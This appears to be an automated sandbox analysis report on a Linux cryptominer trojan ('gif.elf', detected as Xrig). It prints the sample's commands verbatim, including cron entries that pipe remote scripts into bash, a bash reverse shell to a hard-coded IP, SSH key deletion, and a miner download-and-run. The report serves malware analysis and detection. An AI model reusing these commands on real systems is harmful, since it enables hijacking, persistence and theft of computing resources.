Source: /usr/bin/killall (PID: 5736)	File opened: /proc/10/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/917/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/11/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/12/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/13/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/14/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/15/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/16/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/17/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/18/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/19/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1593/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/240/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/120/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3094/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/121/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/242/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3406/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/122/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/243/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/2/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/123/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/244/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1589/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/124/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/245/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1588/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/125/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/4/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/246/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3402/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/126/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/5/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/247/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/127/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/6/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/248/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/128/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/7/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/249/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/8/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/129/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/800/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3762/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/9/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/801/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/803/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/20/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/806/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/21/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/807/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/928/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/22/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/23/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/24/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/25/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/26/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/27/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/28/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/29/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3420/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/490/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/250/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/130/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/251/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/131/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/252/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/132/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/253/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/254/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/255/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/135/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/256/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1599/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/257/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/378/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/258/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3412/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/259/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/30/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/35/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1371/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/260/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/261/stat	Jump to behavior

Source: /tmp/gif.elf (PID: 5641)	Shell command executed: sh -c "chattr -ia -R /root/.ssh"	Jump to behavior
Source: /tmp/gif.elf (PID: 5643)	Shell command executed: sh -c "rm -rf /root/.ssh/authorized_keys2"	Jump to behavior
Source: /tmp/gif.elf (PID: 5645)	Shell command executed: sh -c "chattr +i /root/.ssh/authorized_keys2"	Jump to behavior
Source: /tmp/gif.elf (PID: 5647)	Shell command executed: sh -c "chattr -ia -R /etc/cron.d > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5649)	Shell command executed: sh -c "chattr -ia /etc/crontab > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5651)	Shell command executed: sh -c "chattr -ia -R /var/spool/cron > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5653)	Shell command executed: sh -c "chattr -ia -R /var/spool/cron/crontabs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5655)	Shell command executed: sh -c "chattr -ia -R /etc/cron.hourly > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5657)	Shell command executed: sh -c "echo '0 1 * * * root curl -fs http://z.shavsl.com/b\|bash ' > /etc/cron.d/watch"	Jump to behavior
Source: /tmp/gif.elf (PID: 5658)	Shell command executed: sh -c "echo '0 2 * * * root wget -c http://z.shavsl.com/b -qO -\|bash ' >> /etc/cron.d/watch"	Jump to behavior
Source: /tmp/gif.elf (PID: 5659)	Shell command executed: sh -c "chattr +i /etc/cron.d/watch > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5661)	Shell command executed: sh -c "echo '#!/bin/bash' > /etc/cron.hourly/prelink"	Jump to behavior
Source: /tmp/gif.elf (PID: 5662)	Shell command executed: sh -c "echo 'bash -i >& /dev/tcp/198.144.156.34/8443 0>&1' >> /etc/cron.hourly/prelink"	Jump to behavior
Source: /tmp/gif.elf (PID: 5663)	Shell command executed: sh -c "chmod 755 /etc/cron.hourly/prelink"	Jump to behavior
Source: /tmp/gif.elf (PID: 5665)	Shell command executed: sh -c "chattr +i /etc/cron.hourly/prelink > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5667)	Shell command executed: sh -c "chattr -ia -R /root/.ssh"	Jump to behavior
Source: /tmp/gif.elf (PID: 5669)	Shell command executed: sh -c "rm -rf /root/.ssh/authorized_keys"	Jump to behavior
Source: /tmp/gif.elf (PID: 5671)	Shell command executed: sh -c "chattr +i /root/.ssh/authorized_keys"	Jump to behavior
Source: /tmp/gif.elf (PID: 5673)	Shell command executed: sh -c "chattr -ia -R /root/.ssh"	Jump to behavior
Source: /tmp/gif.elf (PID: 5675)	Shell command executed: sh -c "rm -rf /root/.ssh/authorized_keys2"	Jump to behavior
Source: /tmp/gif.elf (PID: 5677)	Shell command executed: sh -c "chattr +i /root/.ssh/authorized_keys2"	Jump to behavior
Source: /tmp/gif.elf (PID: 5679)	Shell command executed: sh -c "curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner && chmod 755 /tmp/.miner && /tmp/.miner"	Jump to behavior
Source: /tmp/.miner (PID: 5687)	Shell command executed: sh -c "rm -f /etc/hosts.old"	Jump to behavior
Source: /tmp/.miner (PID: 5690)	Shell command executed: sh -c "mount --bind /proc/1 /proc/5689"	Jump to behavior
Source: /tmp/gif.elf (PID: 5691)	Shell command executed: sh -c "chattr -ia /tmp/python > /dev/null 2>&1 && rm -rf /tmp/python > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5718)	Shell command executed: sh -c "chattr -ia chattr -ia /usr/bin/bsd-port/getty > /dev/null 2>&1 && rm -rf /usr/bin/bsd-port/getty > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5721)	Shell command executed: sh -c "chattr -ia /usr/bin/.sshd > /dev/null 2>&1 && rm -rf /usr/bin/.sshd > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5723)	Shell command executed: sh -c "chattr -ia /etc/rc.d/init.d/selinux > /dev/null 2>&1 && rm -rf /etc/rc.d/init.d/selinux > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5725)	Shell command executed: sh -c "chattr -ia /etc/rc.d/init.d/DbSecuritySp > /dev/null 2>&1 && rm -rf /etc/rc.d/init.d/DbSecuritySpt > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5727)	Shell command executed: sh -c "chattr -ia /usr/bin/sh.sh > /dev/null 2>&1 && rm -rf /usr/bin/sh.sh > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5729)	Shell command executed: sh -c "chattr -ia /etc/cron.hourly/cron.sh > /dev/null 2>&1 && rm -rf /etc/cron.hourly/cron.sh > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5731)	Shell command executed: sh -c "chattr -ia /lib/udev/udev /lib/udev/debug > /dev/null 2>&1 && rm -rf /lib/udev/udev /lib/udev/debug > /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5733)	Shell command executed: sh -c "chattr -ia /usr/bin/xrig > /dev/null 2>&1 && rm -rf /usr/bin/xrig 1> /dev/null 2>&1"	Jump to behavior
Source: /tmp/gif.elf (PID: 5735)	Shell command executed: sh -c "killall .sshd xrig getty > /dev/null 2>&1 "	Jump to behavior

Source: /bin/sh (PID: 5664)	Chmod executable: /usr/bin/chmod -> chmod 755 /etc/cron.hourly/prelink			Jump to behavior
Source: /bin/sh (PID: 5685)	Chmod executable: /usr/bin/chmod -> chmod 755 /tmp/.miner			Jump to behavior

Source: /bin/sh (PID: 5680)

Curl executable: /usr/bin/curl -> curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner

Jump to behavior

Source: /bin/sh (PID: 5644)	Rm executable: /usr/bin/rm -> rm -rf /root/.ssh/authorized_keys2	Jump to behavior
Source: /bin/sh (PID: 5670)	Rm executable: /usr/bin/rm -> rm -rf /root/.ssh/authorized_keys	Jump to behavior
Source: /bin/sh (PID: 5676)	Rm executable: /usr/bin/rm -> rm -rf /root/.ssh/authorized_keys2	Jump to behavior
Source: /bin/sh (PID: 5688)	Rm executable: /usr/bin/rm -> rm -f /etc/hosts.old	Jump to behavior

Source: /tmp/.miner (PID: 5686)	Reads from proc file: /proc/cpuinfo	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads from proc file: /proc/meminfo	Jump to behavior
Source: /tmp/.miner (PID: 5689)	Reads from proc file: /proc/meminfo	Jump to behavior

Source: /usr/bin/chmod (PID: 5664)	File: /etc/cron.hourly/prelink (bits: - usr: rx grp: rx all: rwx)			Jump to behavior
Source: /usr/bin/chmod (PID: 5685)	File: /tmp/.miner (bits: - usr: rx grp: rx all: rwx)			Jump to behavior

Source: /usr/bin/curl (PID: 5680)

File written: /tmp/.miner

Jump to dropped file

Source: /bin/sh (PID: 5657)	Crontab like entry written: /etc/cron.d/watch
Source: /bin/sh (PID: 5658)	Crontab like entry written: /etc/cron.d/watch			Jump to dropped file

Source: /bin/sh (PID: 5661)

Writes shell script file to disk with an unusual file extension: /etc/cron.hourly/prelink

Source: /tmp/.miner (PID: 5689)

Log file created: /run/mountinfo.log

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops invisible ELF files

Source: /usr/bin/curl (PID: 5680)

ELF file: /tmp/.miner

Jump to dropped file

Source: gif.elf	Submission file: segment LOAD with 7.8896 entropy (max. 8.0)
Source: .miner.94.dr	Dropped file: segment LOAD with 7.9999 entropy (max. 8.0)

Source: /tmp/.miner (PID: 5686)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/die_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/package_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/physical_package_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/die_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/package_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/physical_package_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/possible	Jump to behavior

Source: /usr/bin/curl (PID: 5680)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/.miner (PID: 5686)	Queries kernel information via 'uname':			Jump to behavior

Source: .miner, 5686.1.00007f3980bbe000.00007f3980bc2000.rwx.sdmp	Binary or memory string: VMware Virtual Platform
Source: .miner, 5686.1.00007f3980bbe000.00007f3980bc2000.rwx.sdmp	Binary or memory string: VMware, Inc.
Source: mountinfo.log.103.dr	Binary or memory string: * MOTHERBOARD VMware, Inc. - VMware Virtual Platform

Anti Debugging

Executes itself again with its parent PID as an argument (indicative of hampering debugging)

Source: /tmp/.miner (PID: 5690)

Process with PPID: /bin/sh -> sh -c "mount --bind /proc/1 /proc/5689"

Jump to behavior

Source: /bin/sh (PID: 5642)	Args: chattr -ia -R /root/.ssh	Jump to behavior
Source: /bin/sh (PID: 5648)	Args: chattr -ia -R /etc/cron.d	Jump to behavior
Source: /bin/sh (PID: 5650)	Args: chattr -ia /etc/crontab	Jump to behavior
Source: /bin/sh (PID: 5652)	Args: chattr -ia -R /var/spool/cron	Jump to behavior
Source: /bin/sh (PID: 5654)	Args: chattr -ia -R /var/spool/cron/crontabs	Jump to behavior
Source: /bin/sh (PID: 5656)	Args: chattr -ia -R /etc/cron.hourly	Jump to behavior
Source: /bin/sh (PID: 5668)	Args: chattr -ia -R /root/.ssh	Jump to behavior
Source: /bin/sh (PID: 5674)	Args: chattr -ia -R /root/.ssh	Jump to behavior
Source: /bin/sh (PID: 5693)	Args: chattr -ia /tmp/python	Jump to behavior
Source: /bin/sh (PID: 5719)	Args: chattr -ia chattr -ia /usr/bin/bsd-port/getty	Jump to behavior
Source: /bin/sh (PID: 5722)	Args: chattr -ia /usr/bin/.sshd	Jump to behavior
Source: /bin/sh (PID: 5724)	Args: chattr -ia /etc/rc.d/init.d/selinux	Jump to behavior
Source: /bin/sh (PID: 5726)	Args: chattr -ia /etc/rc.d/init.d/DbSecuritySp	Jump to behavior
Source: /bin/sh (PID: 5728)	Args: chattr -ia /usr/bin/sh.sh	Jump to behavior
Source: /bin/sh (PID: 5730)	Args: chattr -ia /etc/cron.hourly/cron.sh	Jump to behavior
Source: /bin/sh (PID: 5732)	Args: chattr -ia /lib/udev/udev /lib/udev/debug	Jump to behavior
Source: /bin/sh (PID: 5734)	Args: chattr -ia /usr/bin/xrig	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	1 Exfiltration Over Alternative Protocol	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	13 File and Directory Permissions Modification	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Hidden Files and Directories	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
gif.elf	9%	Virustotal		Browse
gif.elf	32%	ReversingLabs	Linux.Trojan.Xrig
gif.elf	100%	Avira	LINUX/AVA.Xrig.vqksg

Dropped Files

Source	Detection	Scanner	Label	Link
/tmp/.miner	100%	Avira	LINUX/BitCoinMiner.jrext
/tmp/.miner	83%	ReversingLabs	Linux.Coinminer.Generic

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://z.shavsl.com/b	0%	Avira URL Cloud	safe
http://w.softprojectcode.com/%s	0%	Avira URL Cloud	safe
http://w.softprojectcode.com/miner	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
daisy.ubuntu.com	162.213.35.24	true	false	high
o.softgoldinformation.com	176.32.39.18	true	true	unknown
o4.softgoldinformation.com	176.32.39.18	true	true	unknown
w.softprojectcode.com	107.167.34.74	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://w.softprojectcode.com/miner	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://z.shavsl.com/b	gif.elf, 5640.1.0000000000400000.000000000040c000.r-x.sdmp, watch.48.dr, watch.50.dr	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	gif.elf, .miner.94.dr	false		high
http://w.softprojectcode.com/%s	gif.elf, 5640.1.0000000000400000.000000000040c000.r-x.sdmp	false	Avira URL Cloud: safe	unknown
